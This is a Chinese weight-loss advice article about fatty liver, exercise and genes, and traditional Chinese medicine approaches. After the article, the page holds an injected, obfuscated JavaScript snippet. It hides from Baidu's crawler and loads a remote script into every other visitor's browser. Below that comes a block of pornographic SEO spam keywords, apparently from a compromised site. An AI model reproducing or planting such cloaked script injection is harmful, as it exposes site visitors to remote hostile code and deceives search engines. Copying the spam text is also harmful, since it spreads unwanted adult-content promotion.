當(dāng)前位置:首頁(yè) > 減肥 > 減肥誤區(qū) > 正文

減肥的三大要點(diǎn) 重視預(yù)警信號(hào)

2017-03-09 23:29:12  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):重度肥胖者脂肪肝的發(fā)生率高達(dá)61%-94%,肝內(nèi)脂肪的堆積與體重過重成正比。如果你覺得自己還不太胖,但體檢時(shí),卻檢出了脂肪肝,這時(shí)你應(yīng)該注意了,因?yàn)檫@說(shuō)明你攝入的營(yíng)養(yǎng)已超標(biāo)了,肥胖的警報(bào)已拉響了,趕緊減肥。

激素水平失衡,通常是雌性激素水平偏低,多見于中年女性荷爾蒙水平下降以及青春期女性的多囊卵巢綜合征,相當(dāng)于中醫(yī)的腎陰不足證,此時(shí),滋陰補(bǔ)腎,改善雌性激素水平,可達(dá)到減肥的目的。

1、重視預(yù)警信號(hào)

《白皮書》顯示,白領(lǐng)人群中,發(fā)病率最高的是脂肪肝,20-30歲為11.14%;30-40歲則為31.11%。

專家說(shuō),要重視脂肪肝,因?yàn)橹靖问谴x綜合征的一種表現(xiàn),甚至是一個(gè)重要的預(yù)警信號(hào)!

肝臟不斷地將進(jìn)入肝內(nèi)的脂肪酸合成甘油三酯,然后很快將新合成的甘油三酯以脂蛋白的形式釋放入血液循環(huán),但當(dāng)肝內(nèi)合成的甘油三酯超過了肝臟將其轉(zhuǎn)運(yùn)出去的力量,或輸出發(fā)生障礙,可導(dǎo)致甘油三酯肝內(nèi)堆積而發(fā)生脂肪肝。

此外,肥胖人多有糖耐量減低高胰島素血癥,肝臟胰島素的作用下,葡萄糖脂肪酸為原料合成大量的甘油三酯,繼而發(fā)生內(nèi)源性高脂血癥脂肪肝。

2、 運(yùn)動(dòng)調(diào)控基因

科學(xué)家發(fā)現(xiàn),雖然遺傳因素是造成人體肥胖的主要原因,但積極運(yùn)動(dòng)可有效控制肥胖基因的影響。

芬蘭赫爾辛基大學(xué)的研究人員曾對(duì)芬蘭和丹麥的1000對(duì)雙胞胎進(jìn)行了跟蹤調(diào)查,并對(duì)其體重、腰圍及脂肪比例等數(shù)據(jù)進(jìn)行記錄。結(jié)果發(fā)現(xiàn),積極運(yùn)動(dòng)可以大大降低肥胖基因?qū)θ梭w造成的影響,可有效地控制體重。至于那些本身不具有肥胖基因的人,運(yùn)動(dòng)鍛煉同樣重要,不過這樣的人只需相對(duì)較小的運(yùn)動(dòng)量就可以保持正常體重。

科學(xué)家采用ApoE基因缺陷鼠的實(shí)驗(yàn)結(jié)果表明:有氧運(yùn)動(dòng)訓(xùn)練使ApoE基因缺陷鼠的肝臟、腎上腺、睪丸、卵巢等組織的高密度脂蛋白受體基因SR-B1mRNA表達(dá)量顯著增加。此試驗(yàn)說(shuō)明:運(yùn)動(dòng)可調(diào)節(jié)脂肪代謝和影響脂蛋白的基因表達(dá)。

3、辨證調(diào)整機(jī)體

李益民主任說(shuō):同樣是肥胖,但它的病機(jī)有截然不同的區(qū)別,臨床中必須區(qū)分對(duì)待。

代謝水平低下者,也就是心脾腎陽(yáng)虛證的患者,宜溫陽(yáng)化氣利水消腫及增強(qiáng)機(jī)體的新陳代謝水平,達(dá)到燃燒脂肪的目的。

以上就是小編推薦的減肥的方法,趕緊拿去學(xué)學(xué)吧。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产尤物在线视精品在亚洲| 全国精品一区二区在线观看| 精品久久久久久国产三级| 久久亚洲精品无码aⅴ大香| www.99精品视频在线播放| 亚洲精品第一国产综合野| 亚洲一区爱区精品无码 | 91精品婷婷国产综合久久| 国产精品户外野外| 成人精品一区二区三区电影| 亚洲国产精品lv| 国产系列高清精品第一页| 欧洲精品码一区二区三区| 91午夜精品亚洲一区二区三区| 中文字幕精品一区二区精品| 四虎国产精品永久在线看| 亚洲国产午夜精品理论片在线播放| 亚洲国产精品无码久久久不卡| 亚洲精品高清在线| 精品国产中文字幕| 亚洲国产精品久久丫| 久久久久久久99精品免费| 国产在线精品国自产拍影院 | 无码AV动漫精品一区二区免费| 亚洲精品无码久久久久久| 久久久久久九九99精品| 国产精品99精品久久免费| 精品国内自产拍在线观看| 国产成人精品午夜二三区| 久久精品亚洲日本波多野结衣| 亚洲国产精品久久丫| 69精品久久久久| 91精品国产闺蜜国产在线闺蜜| 亚洲第一极品精品无码久久| 99re热视频这里只精品| 国产成人综合久久精品尤物| 国产手机精品视频| 国产精品538一区二区在线| 精品丝袜人妻久久久久久| 国产乱码精品一区二区三区麻豆 | 精品剧情v国产在线麻豆|